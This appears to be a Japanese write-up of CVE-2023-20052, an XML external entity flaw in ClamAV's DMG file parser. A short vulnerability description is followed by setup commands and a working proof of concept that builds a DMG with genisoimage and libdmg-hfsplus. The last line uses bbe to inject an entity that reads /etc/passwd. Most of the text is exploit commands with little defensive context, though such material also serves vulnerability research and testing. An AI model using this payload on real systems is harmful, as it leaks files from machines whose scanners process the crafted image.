
ClamAV の DMG ファイルパーサーにおける CVE-2023-20052 情報漏えいの脆弱性
ClamAV 1.0.0 以前、0.105.1 以前、および 0.103.7 以前の DMG ファイルパーサーの脆弱性により、未認証のリモート攻撃者が影響を受けるデバイス上の機密情報にアクセスできる可能性があります。この脆弱性は、XML 外部エンティティインジェクションを引き起こす可能性がある XML エンティティ置換が有効になっていることが原因です。攻撃者は、影響を受けるデバイス上の ClamAV でスキャンされるように細工された DMG ファイルを送信することで、この脆弱性を悪用する可能性があります。悪用に成功すると、攻撃者は ClamAV のスキャンプロセスが読み取り可能な任意のファイルからバイト列を漏えいさせることができる可能性があります。
sudo dpkg -i package-name.deb

sudo apt install -f
mkdir /usr/local/share/clamav
mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf

sudo adduser clamav

sudo chown -R 1002:1003 /usr/local/share/clamav
sudo freshclam



apt-get update
apt-get install -y ca-certificates gnupg wget
echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list
wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -
apt-get update -y
sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus

cd /libdmg-hfsplus
cmake .

make

cp dmg/dmg /bin
sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg

